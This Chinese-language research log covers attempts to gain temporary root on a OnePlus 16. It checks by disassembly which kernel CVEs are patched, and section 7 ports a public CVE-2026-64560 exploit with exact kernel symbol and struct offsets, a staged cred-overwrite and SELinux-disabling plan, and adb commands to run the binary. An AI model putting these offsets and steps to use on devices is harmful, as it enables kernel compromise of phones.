一加 16(PYB110)临时 root:CVE-2026-43499 实测不可行(附移植判定方法)
本页记录一次针对一加 16 的可行性实测:结论是 CVE-2026-43499 在这台机器的 6.18.21 内核上已经被修复,临时 root 路线关闭。过程本身比结论更有价值——它说明判断一台设备能否利用该 CVE,不能只看版本窗口,必须反汇编 remove_waiter() 确认它是否仍读取 current。
PYB110_17.0.0.152(CN01) A.13 全量包提取的 boot.img 做检查,remove_waiter()(+0x137299c)不包含 mrs xN, sp_el0,即已按修复版使用 waiter->task,不存在该 UAF。同一工具对一加 15(6.12.23)报告「primitive present(未修复)」,作为对照证明判据有效。1. 设备与镜像
表 1|一加 16 实测身份
| 项 | 值 |
|---|---|
| 机型 / SoC | PYB110 / SM8975 |
| 系统 | ColorOS 17(PYB110_17.0.0.133(CN01),OTA 实测包为 17.0.0.152(CN01) A.13) |
| Android | 17(CP2A.260605.016) |
内核 uname -r |
6.18.21-android17-5-gf957accaf563-ab15926176-4k |
| KMI | android17-6.18 |
| 内核编译 | 2026-07-23,+pgo +bolt +lto +mlgo(clang 22.0.1) |
| 安全补丁 | 2026-09-01 |
| OTA 包 | 出厂 PYB110_11.A.04_0040_202609210439(133,补丁 2026-09-01);实测镜像取自 17.0.0.152(CN01) A.13 全量包(security_patch=2026-10-01,内核不变) |
镜像来源问题及其解决:出厂包(133)通常不公开。实测发现 17.0.0.152 全量包的内核 banner 与设备当前内核逐字符一致(同为 …gf957accaf563-ab15926176-4k)——即这次更新没有升内核,因此无需升级设备即可拿到与设备精确匹配的 boot.img,「出厂包找不到」的阻塞由此解除。
提取流程复用本地工程的 tools/extract_boot_from_ota.py:从 payload.bin(9.86GB)取 boot 分区 → boot.img(96MB)→ 切出 PE/COFF 内核 kernel.raw(43.1MB,header_version=4,未压缩)。
2. 版本窗口判定(以及它为什么不够)
按一加 15 笔记的表 1,6.18.x 分支的修复起点是 6.18.27;本机 6.18.21 < 6.18.27,表面看仍在窗口内。这正是本页要纠正的判据:
版本子级只能给出「是否可能有漏洞」,不能证明「漏洞仍在」——OEM 可以在不提升子级的情况下回填单个安全补丁(本机即如此)。
3. 运行时前提实测(只读 adb shell)
表 2|GhostLock 运行期前提(一加 16 实测)
| 检查项 | 实测值 | 结论 |
|---|---|---|
perf_event_paranoid |
-1 |
perf 可用 |
Seccomp / Seccomp_filters |
0 / 0 |
ADB shell 无过滤 |
/dev/ashmem |
存在(10,259) |
FOPS/CFI 泄露路径可用 |
getenforce |
Enforcing |
初始状态 |
id -Z |
u:r:shell:s0 |
shell 域 |
/data/local/tmp |
shell 可写 |
可投放 |
/proc/kallsyms、kptr_restrict、/proc/iomem |
Permission denied |
偏移不能从设备侧提取 |
运行时前提全部满足,但仍不可利用——漏洞本身已不存在。
4. 实测判定:反汇编 remove_waiter()
用 ghostlock-app 自带的 ghostlock-extract(从 boot.img 恢复内嵌 kallsyms 与 BTF,无需 root)直接检查:
- 一加 16:
error: kernel already fixed the vulnerability: remove_waiter()@0x137299c never reads current (no mrs sp_el0); rtmutex UAF fix is present - 一加 15(对照):
info: (CVE-2026-43499 primitive present (remove_waiter@0x118d798 still uses current)
判据的物理含义:arm64 上 current 只能通过 mrs xN, sp_el0 读取。漏洞版 remove_waiter() 用 current->pi_blocked_on = NULL 出队;修复版改用 waiter->task,不再读取 current。因此「函数体内没有 mrs sp_el0」即修复存在。
独立复核(不依赖工具):
range 0x137299c-0x1372b94 (504 bytes)
mrs xN, sp_el0 hits: NONE
并用符号邻接确认目标函数无误:remove_waiter 的全名唯一,后继符号为 rt_mutex_wait_proxy_lock / rt_mutex_slowlock_block / rt_mutex_cleanup_proxy_lock,正是 rtmutex 簇。
表 3|两台设备的同工具对照
| 设备 | 内核 | remove_waiter() |
判定 |
|---|---|---|---|
| 一加 15(PLK110) | 6.12.23-android16-5 |
+0x118d798 仍读 current |
未修复,可继续提偏移 |
| 一加 16(PYB110) | 6.18.21-android17-5 |
+0x137299c 不读 current |
已修复,门禁直接拒绝 |
5. 对「不下载 OTA」分析的修正
上一版分析把工作分成「判定 / 交付 / profile 生成 / PGO 判定」四层,并认为后两层只缺镜像。本次实测表明:镜像拿到后,第一道门禁(漏洞是否仍在)就可能直接否决,后续层根本不会执行。正确的顺序应是:
无需生成 profile"] C -- "是(读)" --> E["生成 profile:kallsyms + BTF + 物理布局"] E --> F["PGO / waiter 落位判定"] F --> G["设备侧 W1 冒烟"]
图 1|修正后的判定顺序。漏洞存在性检查必须排在偏移提取之前——它决定后面所有工作是否值得做。
6. 其他路线评估(2026-10-19)
除 CVE-2026-43499 外,逐条核对了当前公开的候选路线。设备组件与 OTA 镜像均做了静态检查,未触发任何利用路径。
表 4|公开过的临时 root 路线在本机的状态
| 路线 | 类型 | 本机现状 | 依据 |
|---|---|---|---|
| CVE-2026-43499(GhostLock) | 内核 futex PI UAF | ❌ 已修复 | §4 |
| AtlasService + olc2(nns.ee[6]) | 厂商服务链(无 CVE) | ❌ 第一跳已修复 | §6.1 |
CVE-2026-31431(Copy Fail / algif_aead)[9] |
通用内核 LPE | ❌ 不可达(SELinux 禁止 alg_socket) |
AOSP neverallow all_untrusted_apps *:alg_socket * |
| CVE-2026-43284/43500(Dirty Frag / ESP、RxRPC) | 通用内核 LPE | ❌ 不可达(XFRM/RxRPC socket 被拒) | 壳层实测 EACCES |
| CVE-2026-46242(Bad Epoll)[10] | 通用内核 LPE | ❌ 已修复(镜像反汇编核验) | ep_remove 含 file_ref_get pin |
| CVE-2026-46333(ptrace) | 通用内核 LPE | ❓ 需核验;App 侧目标受限 | 2026-05 披露 |
| CVE-2026-21385(KGSL 整数溢出) | GPU 驱动 LPE | ⚠️ 已武器化,2026-03 修复;构建更晚(推断已修) | CISA KEV |
| Qualcomm 2026-10 Graphics(CVE-2026-25291/57545/57554)[11] | GPU 驱动 | ❓ 影响 SM8975,无公开 PoC;152 应含修复 | 2026-10-05 公告 |
| CVE-2026-64560(posix-cpu-timers UAF)[13] | 通用内核 LPE | ❗ 本机未修复(镜像核验);有 Android PoC,需移植 | 影响 < 6.18.41 |
| CVE-2026-80758 / 80776(futex private hash)[14] | 通用内核 LPE | ❓ 版本受影响(fix 6.18.46/47);无公开 PoC | 2026-09-04 |
| CVE-2026-64600(RefluXFS) | XFS race | ❌ 不适用(内核无 XFS) | /proc/filesystems 仅 ext4/f2fs |
| CVE-2026-10702(Firefox JIT) | 浏览器 → untrusted_app |
⚠️ 仅投送层,非 root | 需再配合一个内核 LPE |
| 2026-10 ASB(蓝牙/NFC/telephony 等)[8] | 组件内 EoP | ⚠️ 133 未含;152 已含 | 152 元数据 security_patch=2026-10-01 |
| OEMpocalypse(Calif)Part 4[7] | OEM 驱动 page UAF | ❓ 细节未发布;公开链只覆盖 Android 16 / 6.12 | 2026-08-31 预告 |
| 官方 BL 解锁 + 修补 init_boot | 永久 root | ✅ 唯一可靠路径(需支持解锁、清数据) | 与漏洞无关 |
6.1 AtlasService → olc2 链:第一跳已修复
从 17.0.0.152 全量包的 system_ext / odm(EROFS)直接取出两个二进制,无需设备:
audioDumpInfo(27 KB):仍 importsystem@LIBC,但oplus.audio.dumpinfo.type的取值必须完全等于anr_log或audio_log(长度 ≤64,memcmp精确匹配,否则invalid dumpType返回);路径还要经过realpath()与前缀/data/persist_log/TMP/audio_dumpsys/的校验,新建目录改用mkdir/chmod系统调用,不再拼进 shell。注入字符没有机会进入system()的命令串。- olc2 HAL(68 KB):
doShell/doShellBlocking、execl("/vendor/bin/sh")仍在,但唯一门禁仍是uid==0;第一跳被堵死后,untrusted_app无法到达它。
结论:该链在 ColorOS 17 上已不可用,与 OnePlus 官方「16.x 线 ≥ 16.0.10.500 即修复」的说明方向一致。
6.2 补丁级与内核攻击面
17.0.0.152元数据:security_patch=2026-10-01、security_patch_vendor=2026-10-01、forbid_ota_local_update=false;内核仍为6.18.21-…-ab15926176(与 133 相同),说明 10 月更新没有更换内核。- 2026-10 ASB 没有 Kernel 小节,LPE 集中在 Framework / System(蓝牙、NFC、telephony、wpa_supplicant、libfmq 等),属于组件内提权,不等于内核 root。
- 通用内核 LPE 是否仍可利用,必须对 6.18.21 镜像做与 §4 相同的「修复是否在」检查(反汇编目标函数),不能只看公告日期;
RefluXFS因内核无 XFS 可直接排除。
6.3 6.18.21 内核漏洞面复核(2026-10-19)
可达性实测(shell 域,仅能力探测):AF_ALG、XFRM、RxRPC、NETLINK_NETFILTER、io_uring_setup 均被 SELinux 拒绝(EACCES);unshare(CLONE_NEWUSER|CLONE_NEWNET) 返回 EINVAL(用户命名空间未启用);/dev/kgsl-3d0 与 /dev/dma_heap/* 可打开。AOSP app_neverallows.te 明确 neverallow all_untrusted_apps *:alg_socket *;[12],因此 Copy Fail 对普通 App 不可达,与内核是否修复无关。
Bad Epoll(CVE-2026-46242):NVD 标注 6.4 ≤ v < 6.18.33 均受影响[10];本机 6.18.21 虽低于修复版,但反汇编 ep_remove(+0x394a5c)显示已含修复结构:file_ref_get 原子 pin(ldaddal + 符号位检查 + 失败返回)、随后 bl 0x7943a4(ep_remove_epi)、内联 ep_refcount_dec_and_test。→ 修复已回填。
KGSL(Adreno):msm_kgsl.ko 是独立模块(/vendor/lib/modules),/dev/kgsl-3d0 对 App 可达。唯一已武器化的公开 KGSL LPE 是 CVE-2026-21385(2026-03 修复、CISA KEV,整数溢出),7 月构建应已包含;Qualcomm 2026-10 公告另列影响 SM8975 的 Graphics 类 CVE-2026-25291(UAF)/ 57545(指针解引用)/ 57554[11],目前无公开 PoC,152 包(security_patch_vendor=2026-10-01)应含对应修复。
结论:当前没有可直接运行的公开链。唯一已确认未修复且有公开 Android PoC 的是 CVE-2026-64560(见 §6.4),但 PoC 绑定 Pixel 偏移,需移植到本机 build。
6.4 8–10 月盲区:CVE-2026-64560 已确认未修复
CVE-2026-64560(posix-cpu-timers 与 non-leader exec() 竞态导致的 k_itimer UAF)影响 5.7–6.18.41[13];本机 6.18.21 在范围内。反汇编 posix_cpu_timer_del(+0x579f04)与 6.18.21 源码一致:单次 pid_task → __lock_task_sighand(+0xb854c)→ 失败走 WARN_ON_ONCE,没有修复版新增的 timer_lock_sighand() 重试循环。两处独立佐证:① 对照组一加 15 的 6.12.23(构建于修复前)posix_cpu_timer_del 与本机指令结构逐项一致;② __lock_task_sighand 的 sighand == NULL 路径没有 dmb ishld,而修复版 smp_acquire__after_ctrl_dep() 在 arm64 上必然编译出该屏障(__smp_rmb() = dmb(ishld))。→ 本机未修复。
漏洞真实性复核:上游修复 920f893f…(Thomas Gleixner,2026-07-03);稳定回填 6a7ecc25… 进入 6.18.41——该版本 ChangeLog 仅 7 KB,是单修复安全更新[16];Red Hat RHSA-2026:65708(2026-09-09);NVD 影响 5.7–6.18.41。
NebuSec 的 Android PoC[15] 在 Pixel 10 Pro(Android 17 / 6.6.118)上实测 >50% 成功率,从 adb shell 直接运行即可关 SELinux 拿 root;它不依赖 userns / AFALG / io_uring,只用 POSIX timer、execv、futex、membarrier。限制是按 ro.build.fingerprint 硬编码了 Pixel 的链接偏移(`BLAZER/LINK_),在本机运行会被TARGET_PROFILE_GATE_FAIL` 拒绝——要落地必须为 PYB110 的 6.18.21 重新生成偏移并适配结构布局。
同期另两条 App 可达的通用候选是 futex 私有哈希的 CVE-2026-80758 / 80776(修复在 6.18.46/47,本机同样在受影响区间[14]),但暂无公开 PoC。其余 8–10 月 NVD 条目多为网络/文件系统驱动缺陷,需要 CAP_NET_ADMIN 或挂载权限,普通 App 不可达。
7. CVE-2026-64560 移植工程(cve-root-oneplus16)
工程位于 /Users/yanghuan/Code/eperf-exporter/source/cve-root-oneplus16,目标是把 NebuSec 的 Pixel PoC 移植到 PYB110 / 6.18.21 并做受控验证。目录结构对齐 cve-root-oneplus15:
| 路径 | 内容 |
|---|---|
reference/NebuSec-CyberMeowfia/ |
上游 PoC 副本,pin 94ae8ab301b2ec9f36bdd66321b6e11209ae60d1(exploit.c 5206 行) |
tools/extract_rs/ |
kallsyms 恢复 + sym_offsets 批量符号查询(--analysis 可跳过 GhostLock 门禁) |
tools/dump_parts.py |
从 OTA payload.bin 抽任意分区(system_ext / odm / vendor_dlkm) |
tools/btf_dump.py / btf_elf_dump.py |
BTF 定位与结构体字段导出(本轮未找到 6.18 BTF) |
scripts/build-native.sh |
NDK r29 / darwin 交叉编译静态 PoC |
prebuilts/android-aarch64/exploit-64560 |
构建产物(2.4 MB) |
7.1 已确认的事实
- 漏洞真实:上游修复
920f893f…(Thomas Gleixner,2026-07-03);稳定回填6a7ecc25…进入 6.18.41,该版本是单修复安全更新;Red HatRHSA-2026:65708(2026-09-09);NVD 影响 5.7–6.18.41。 - 本机未修复:§6.4 的反汇编 + 对照组结论。
- PoC 真实可编译:NDK r29 静态编译通过(
-Wall -Wextra -Werror)。 - 安全冒烟:原样推送到设备运行,在指纹门禁安全退出(
TARGET_PROFILE_GATE_FAIL fingerprint=OnePlus/PYB110/...,exit 2),未触发任何利用路径。
7.2 偏移映射进度(LINK_* → 6.18.21)
以 KIMAGE_TEXT_BASE = 0xffffffc080000000(待最终核验)为基址:
| PoC 常量 | 6.18.21 符号 / 偏移 | 状态 |
|---|---|---|
LINK_IMAGE_BASE |
_text = 0x0 |
✅(VA_BITS=39,PAGE_OFFSET=0xffffff8000000000) |
LINK_SDATA / LINK_END |
_sdata = 0x26c0000 / _end = 0x29c0000 |
✅(_end 在 BSS,文件不包含) |
LINK_INIT_TASK |
init_task = 0x26df240 |
✅ |
LINK_INIT_CRED |
init_cred = 0x26f2a50 |
✅ |
LINK_SELINUX_STATE |
selinux_state = 0x2979630 |
✅ |
LINK_SELINUX_BLOB_SIZES |
selinux_blob_sizes = 0x1a73af8 |
✅ |
LINK_KMALLOC_CACHES |
kmalloc_caches = 0x1a69418 |
✅ |
LINK_ANON_PIPE_BUF_OPS |
anon_pipe_buf_ops = 0x1405690 |
✅ |
LINK_MISC_LIST |
misc_list = 0x280e0f0 |
✅ |
LINK_SYSCTL_BOOTID |
sysctl_bootid = 0x298ccb0 |
✅ |
LINK_UHID_MISC / LINK_UHID_FOPS |
uhid_misc = 0x2847f90 / uhid_fops = 0x1587bc0 |
✅ |
LINK_CONFIGFS_READ_ITER / BIN_WRITE_ITER |
0x7d0348 / 0x7d08fc |
✅ |
LINK_MEMSTART_ADDR / KIMAGE_VOFFSET |
memstart_addr = 0x1a60e70 / kimage_voffset = 0x1a62000 |
✅ |
LINK_MODULE_DIRECT_BASE / PLT_BASE |
module_direct_base = 0x1a60e88 / module_plt_base = 0x1a60e90 |
✅ |
LINK_CYCLE_C / D |
init_task+0x7c8(thread_node)/ init_signals+0x10(thread_head) |
✅ 结构扫描唯一互链 pair;一加 15 上同构 |
LINK_WAIT_CHLDEXIT |
init_signals+0x28(wait_chldexit.head,自环) |
✅ 静态镜像 0x26e04e8;PID 0 永不 wait() |
LINK_ASHMEM_* |
6.18 为 Rust ashmem(mangled MiscDevice vtable),无 C file_operations |
⚠️ 需重写该阶段 |
BLAZER_* / FRANKEL_* |
direct_bootid_parent 需按 SM8975 物理布局重算 |
❌ 未完成 |
7.3 结构体偏移(反汇编实测,2026-10-19)
6.18 Image 与厂商模块均无 BTF,以下偏移由目标函数的机器码与 6.18.21 源码逐项对照得到:
表|PoC 需要的结构体字段(6.18.21 实测)
| 结构体 | 字段 | 偏移 | 依据 |
|---|---|---|---|
task_struct |
tasks |
0x648 |
copy_process 的 list_add(init_task+0x648) |
pid / tgid |
0x718 / 0x71c |
copy_process 的 str w8,[x20,#0x718/0x71c];exchange_tids |
|
group_leader |
0x758 |
copy_process 的 str x20,[x20,#0x758] |
|
thread_pid |
0x780 |
exchange_tids |
|
real_cred / cred |
0x900 / 0x908 |
commit_creds / __put_cred |
|
comm |
0x918 |
__set_task_comm(add x22,x19,#0x918,长度 16) |
|
signal / sighand |
0x960 / 0x968 |
__task_pid_nr_ns / __lock_task_sighand |
|
cred |
usage |
0x0 |
__put_cred |
ids(uid..fsgid) |
0x8–0x24 |
commit_creds 的 uid/gid 比较 |
|
securebits |
0x28 |
源码布局 | |
cap_* |
0x30–0x50 |
commit_creds |
|
security |
0x80 |
security_cred_free(ldr x8,[x0,#0x80]) |
|
user / user_ns / ucounts / group_info |
0x88 / 0x90 / 0x98 / 0xa0 |
__put_cred |
|
sizeof(cred) |
0xb8 |
cred_init(mov w1,#0xb8) |
|
struct page |
flags / compound_head |
0x0 / 0x8 |
__free_pages_ok |
sizeof(page) |
0x40 |
KMI 稳定(与 6.6 同) | |
mm_struct |
对象大小(slab stride) | 0x580(1408) | /proc/slabinfo:mm_struct ... 1408 23 8(8 页 slab = 0x8000) |
pipe_buffer |
page / offset / len / ops / flags / private |
0x0 / 0x8 / 0xc / 0x10 / 0x18 / 0x20 |
anon_pipe_write(str x10,[x9,#0x10] 写 anon_pipe_buf_ops) |
sizeof |
0x28 |
与 PoC 的 _Static_assert 一致 |
|
miscdevice |
minor / fops / list / parent |
0x0 / 0x10 / 0x18 / 0x28 |
misc_open(ldur w9,[x8,#-0x18]、ldur x23,[x8,#-0x8]) |
k_itimer |
it_clock |
0x24 |
posix_cpu_timer_del |
it.cpu.node / head / pid / firing |
0xe0 / 0x100 / 0x108 / 0x120 |
posix_cpu_timer_del |
|
| 对象大小(slab stride) | 0x180(384) | /proc/slabinfo:posix_timers_cache ... 384 21 2(2 页 slab = 0x2000) |
|
| fake 节点落位 | 0xe0(不是 6.6 的 0x78) | 一加 15 6.12 的 posix_cpu_timer_del 为 add x21,x19,#0x78,本机为 #0xe0 |
|
configfs_buffer |
page |
0x10 |
configfs_read_iter |
needs_read_fill / read_in_progress / write_in_progress |
0x48 / 0x4c / 0x4d |
configfs_read_iter / bin_write_iter |
|
bin_buffer / bin_buffer_size / cb_max_size |
0x50 / 0x58 / 0x5c |
configfs_bin_write_iter |
物理布局(2026-10-19 源码 + 静态镜像复核):base DTB 的 /soc/memorymap 显示 memory@C7800000 是 256MB Kernel 区;设备的 /proc/zoneinfo 给出 start_pfn: 229376 → 229376 × 4096 = 0x38000000,这是 memblock_start_of_DRAM() / Normal zone 起点。6.18 arch/arm64/mm/init.c 的 memstart_addr = round_down(memblock_start_of_DRAM(), ARM64_MEMSTART_ALIGN),4K 页 + VA39 下 ARM64_MEMSTART_ALIGN = 1GB → round_down(0x38000000, 1GB) = 0。因此:
memstart_addr = 0(0 是合法值;/proc/zoneinfo的start_pfn不能直接当memstart_addr);kernel_phys_load = 0xc7800000、P0_PAGE_OFFSET = 0xffffff8000000000;delta = 0xc7800000 - 0 = 0xc7800000;PYB110_DIRECT_BOOTID_PARENT = 0xffffff80c8d2afb0;PYB110_DIRECT_CYCLE_C = 0xffffff80c9edfa08;PYB110_DIRECT_WAIT_CHLDEXIT = 0xffffff80c9ee04e8。
之前的
0x8f800000/memstart=0x38000000是把 zone 起点当成了memstart_addr,漏掉了round_down这一步。canary 的changed_nodes=1出现在0xc7800000口径,恰好说明该口径正确,而不是「写到别的地址」。⚠️ 与 PoC 的 6.6 硬编码相比,
configfs_buffer的 0x50/0x58/0x60/0x64 需要整体前移 8 字节(needs_read_fill从 0x50 → 0x48),task_struct的 pid/comm 等偏移全部不同。这些必须在移植时替换,不能沿用 Pixel 值。
7.4 分阶段测试计划(用户建议的「逐步探测」)
原则:每阶段只做一件事,预期不符立即重启(重启即清除内核内存改动),全部通过后才执行最后一次 cred 写入。
表|S0–S5 阶段与 gate
| 阶段 | 动作 | 预期结果 | 不符时 |
|---|---|---|---|
| S0 | 构建 + 指纹门禁 | 原样 PoC:TARGET_PROFILE_GATE_FAIL;移植后:GATE_PASS profile=pyb110 |
编译失败/非预期输出 → 停止 |
| S1 | 只读 profile 自检:打印符号/结构体偏移/物理布局,不发起内核写 | 与 §7.2/§7.3 完全一致 | 任一常量缺失/不一致 → 停止 |
| S2 | KASLR 泄露(stage0):向 sysctl_bootid 写入已知地址,回读并还原 |
算出的 slide 与 LINK_IMAGE_BASE 一致;boot_id 恢复 |
回读不一致 → 立即重启 |
| S3 | misc bridge 只读:通过 fake misc 读取一个已知内核指针 | 读到预期值(如 uhid_misc 地址) |
读失败/值不符 → 重启 |
| S4 | cred 定位(只读):在 direct map 扫描 shell 进程的 cred | 找到 uid=2000 的 cred,且字段自洽 |
扫描不到/多解 → 重启 |
| S5 | 一次性 cred 写入:把目标 cred 改成 init_cred |
uid=0 + SELinux 关闭 |
任一 gate 失败 → 重启,不重试 |
实现上已在移植版中加入 NEBUSEC_STAGE(0 = 只打印 profile,2 = KASLR 后退出,3 = bridge 后清理退出,4 = phys 探测后清理退出,5 = 完整),并在 /Users/yanghuan/Code/eperf-exporter/source/cve-root-oneplus16 落地。
执行记录(2026-10-19):
| 阶段 | 参数 | 结果 |
|---|---|---|
| S0 | 原样/移植版 | TARGET_PROFILE_GATE_PASS profile=pyb110;NEBUSEC_PROFILE_PASS,exit 0 |
| S1 | 只读 profile 自检 | 与 §7.2/§7.3 全部一致(host 与设备各一次) |
| S2(第一次) | Blazer 调参(batch 1 / repeats 24) | 5 个 attempt 全部 STAGE0_MISS_CLEAN(竞态未命中);无内核写;设备随后重启(uptime 归零),内核未受损 |
| S2(第二次) | Frankel 调参(batch 16 / repeats 64) | 命中竞态 → panic(日志停在 SPRAY_DONE attempt=1);设备重启,内核完好 |
| S2(第三次,delta 0x8f800000) | batch 16 | 仍停在 SPRAY_DONE → panic;该 delta 本身错误 |
| S2(第四次,完整 direct 加法 0x90d2afb0/0x91edfa08,仍是 0x8f800000 口径) | batch 16 | 仍然 panic;根因是 cleanup_timerqueue 无限循环(§7.7) |
S2(第五次,memstart=0 / delta 0xc7800000 + wait_chldexit) |
batch 16 | 代码/生成器已修正、编译通过;待复测 |
结论:
memstart_addr=0(1GB round_down)与delta=0xc7800000已由源码 + 静态镜像确认;S2 的 panic 不是物理起址,也不是 firing 路径,而是cleanup_timerqueue删除 fake 时cycle_c/cycle_d互指导致rb_next无限循环(§7.7)。暂停真机写入,先完成离线校准与复测准备。
7.5 待解决
- S2 cleanup 死循环(已修复,待复测):节点布局(
parent 0 / right 8 / left 0x10 / expires 0x18)与 slot 越界(31→20)已确认;it_signal=1的 firing 加固已编译,但 canary 仍 panic,说明主因不在 firing。实际是posix_cpu_timers_exit_group()→cleanup_timers()→cleanup_timerqueue()无条件删除 fake,而forged_child=cycle_c是thread_node(与thread_head互指),rb_next无限往返。改为init_signals.wait_chldexit.head(自环、PID 0 不用)后有限次终止;read_validated_result接受q0==q1,slide_from_pointer增加LINK_WAIT_CHLDEXIT。代码/生成器已改,编译通过,尚未真机复测; - Rust ashmem:PoC 的 fake-fops 阶段需要 ashmem 的
ioctl/open/release;6.18 的 ashmem 是 Rust(mangledMiscDevicevtable),与 Cfile_operations不兼容,S3 前必须重写或改用 uhid 路径; - S2 调参:batch 16 已能命中竞态;几何/地址修正后再调
EXEC_AFTER_DELETED/PRIME_*; - 剩余结构体偏移:
mm_struct字段(若后续需要)、k_itimer其余字段; - PoC 常量:
LINK_*、DP_*、CFG_*、FAKE_CPU_TIMER_*已参数化;LINK_ASHMEM_*仍为 0。
7.6 风险边界
- 利用只改内核内存,不写 bootloader/分区/verified boot → 不会因写固件变砖;
- 真实风险是 panic 与数据损坏(页缓存/文件系统),极端情况下需要 recovery/恢复出厂;
- 测试前必须备份;152 全量包已在设备
Download/,可作为恢复镜像。
7.7 Cleanup 死循环:根因与修复(2026-10-19)
现场与静态证据:
kernel.raw静态布局:init_task+0x7c8(thread_node)与init_signals+0x10(thread_head)是互指 list pair(next/prev都指向对方),两者+0x10均为 0;init_task+0x770是另一个自环 list_head,init_signals+0x28是wait_chldexit.head自环(0x26e04e8),init_task.thread_pid指向init_struct_pid(0x26f21d0,count=1)。cleanup_timerqueue()(6.18kernel/time/posix-cpu-timers.c)对队列无条件while ((node = timerqueue_getnext(head))) timerqueue_del(head, node);;timerqueue_del()→rb_erase_cached()在root->rb_leftmost == node时先leftmost = rb_next(node),再rb_erase(),最后RB_CLEAR_NODE(node)。- 每次
timerqueue_del后还会ctmr->head = NULL;node是struct cpu_timer的首成员,head在+0x20。删除X时写的是init_signals+0x48(shared_pending.list.prev,静态自指0xffffffc0826e0500),写 0 后list.next仍自指、list_empty仍为真,PID 0 不使用shared_pending;此前「写node-0xc0」的说法是误把k_itimer+0xe0当成了cpu_timer的成员偏移。 - 当
forged_child = cycle_c(thread_node)时,rb_erase(fake)把cycle_c写到cycle_d的__rb_parent_color(以及boot_id的ctl_table.data),rb_next在cycle_c ↔ cycle_d间往返,leftmost永远非空 → cleanup 死循环;panic_on_rcu_stall=1(cmdline)约 21 秒后把 RCU stall 转成 panic。S2 日志停在SPRAY_DONE正是这个时间窗,不是写入瞬间的野写 fault。 collect_timerqueue()不走:fake 的expires=UINT64_MAX且ctmr->head=0,cpu_timer_dequeue()直接跳过;因此写原语只在退出路径的 cleanup 中触发。
修复几何:
forged_parent仍为boot_id的ctl_table父项(direct alias0xffffff80c8d2afb0,memstart=0/delta=0xc7800000)。forged_child改为init_signals.wait_chldexit.head的 direct alias0xffffff80c9ee04e8。它是自环(next=prev=self)且 PID 0 永不wait(),运行时保持空。rb_erase(fake)先把X_D写到ctl_table.data;cleanup 删除X_D时rb_next返回其 image aliasX_image,再删一次后X_image自环;下一次RB_EMPTY_NODE成立,cleanup 终止。最终ctl_table.data = X_image,回读q0 = q1 = X_image = LINK_WAIT_CHLDEXIT + slide。- 代价:最后一次删除已
RB_CLEAR的空节点会触发一次WARN_ON_ONCE;cmdline 未设panic_on_warn(ro.config.panic_on_warn为空,sysctl 被 SELinux 拒绝直读),预计不致命;若复测发现panic_on_warn=1,改用静态镜像里的0x27b7b70自环 +0x268e880零节点几何。 read_validated_result()放宽为qword0 == forged_parent || qword0 == qword1;slide_from_pointer()的 link 表加入LINK_WAIT_CHLDEXIT。load_physical_layout()去掉!memstart_addr误判,改为 1GB 对齐检查(memstart=0合法)。- Canary 判定:
NEBUSEC_CANARY下forged_parent=forged_child=bootid_data(0xffffff80ca18ccb0),写后q0==forged_parent即打印NEBUSEC_CANARY_PASS并退出,不要求 slide;用于单独验证 direct 写地址。
状态:代码、生成器、profile 已同步修改;scripts/build-native.sh 通过;指针级 rbtree 模拟验证 cleanup 4 次迭代内终止、最终 q0=q1。尚未真机复测(延续暂停写入约定)。
7.8 源码复核:firing 路径与 it_signal 修复
读 v6.18.21 源码后确认的 UAF 路径与修复:
- 写原语(更正):不在
check_*_timers()。collect_timerqueue()因 fakeexpires=UINT64_MAX且ctmr->head=0直接返回;写发生在退出路径cleanup_timerqueue()无条件timerqueue_del(real_head, &fake->node)。disarm_timer()同样因ctmr->head=0跳过。 - firing 崩溃点:
posix_timer_queue_signal()先检查posixtimer_valid(timer),其定义为!(it_signal & 1)。fakeit_signal=0→ valid → 继续posixtimer_send_sigqueue(),使用 fake 的it_pid/sigq(全 0)→ 崩溃。 - 修复:把 fake
k_itimer的it_signal(结构体 +0x30)设为 1(奇数 → invalid),queue_signal直接返回;cpu_timer_fire()仍会写it_status/expires,不影响泄露。 - 实现:
build_fake_fragment()/build_misc_fragments()在offset - 0xb0处写 1(offset是 node 的 0xe0 偏移);已加入tools/port_pyb110.py并生成到src/exploit-pyb110.c。
该修复已编译通过,但 2026-10-19 canary 实测:带
it_signal=1仍在SPRAY_DONE后 panic——说明 firing 路径不是主因。根因是退出路径cleanup_timerqueue()的cycle_c/cycle_d互指死循环(§7.7);it_signal=1保留为加固,不承担 S2 修复。
8. 结论与边界
- 一加 16(PYB110,
6.18.21-android17-5-gf957accaf563-ab15926176-4k)不可用 CVE-2026-43499 临时 root:修复已在该内核中(直接证据),与安全补丁级、运行时前提无关。 - 同期公开的 AtlasService → olc2 链也已修复(
audioDumpInfo白名单anr_log/audio_log),两条最现实的临时 root 路线在本机都关闭。 - 升级到
17.0.0.152会带来 2026-10-01 补丁级,但内核不变,不改变上述结论。 - 通用内核 LPE 已逐条核验(§6.3–§6.4):Copy Fail / Dirty Frag 因 SELinux 不可达,Bad Epoll 已修复,
RefluXFS无 XFS 排除;CVE-2026-64560 已确认未修复且有公开 Android PoC,但需移植本机偏移;futex 私有哈希(80758/80776)受影响但无公开 PoC。 - 移植工程
cve-root-oneplus16已建立(§7):PoC 已编译、门禁冒烟通过、LINK_*符号与CYCLE_C/D已映射、task_struct/cred/page/pipe_buffer/miscdevice/configfs_buffer的字段偏移已用反汇编实测(§7.3);物理布局已修正为memstart=0/delta=0xc7800000,S2 cleanup 死循环已用wait_chldexit自环修复(§7.7,待真机复测);Rust ashmem 仍是 S3 的下一步,目前不能宣称「可提权」。 - 若目标是永久 root,官方 BL 解锁 + 修补
init_boot是当前唯一可靠路径(与漏洞无关,会清数据)。 - 临时 root 不持久、不解锁 BL;本页不构成任何「已 root」表述。
- 仅限授权安全研究与教育用途。
9. 可复现命令
# 1) 从全量 OTA 取 boot.img(若已有 boot.img 可跳过)
python3 source/cve-root-oneplus15/tools/extract_boot_from_ota.py \
~/Downloads/ColorOS-PYB110-17.0.0.152-CN01-A.13/oneplus16-PYB110-17.0.0.152-CN01-A.13.zip <outdir>
# 2) 编译提取器(ghostlock-app/tools/extract_rs)
cargo build --release
# 3) 漏洞存在性门禁(已修复会直接报错退出)
./build/extract/release/ghostlock-extract <boot.img> --format json
# 4) 16 工程:构建 NebuSec PoC 并做指纹门禁冒烟(未移植时安全退出)
cd source/cve-root-oneplus16
scripts/build-native.sh
adb push prebuilts/android-aarch64/exploit-64560 /data/local/tmp/nebusec-64560
adb shell 'chmod 755 /data/local/tmp/nebusec-64560; /data/local/tmp/nebusec-64560' # 预期 TARGET_PROFILE_GATE_FAIL
# 5) 6.18.21 符号查询(工具自包含)
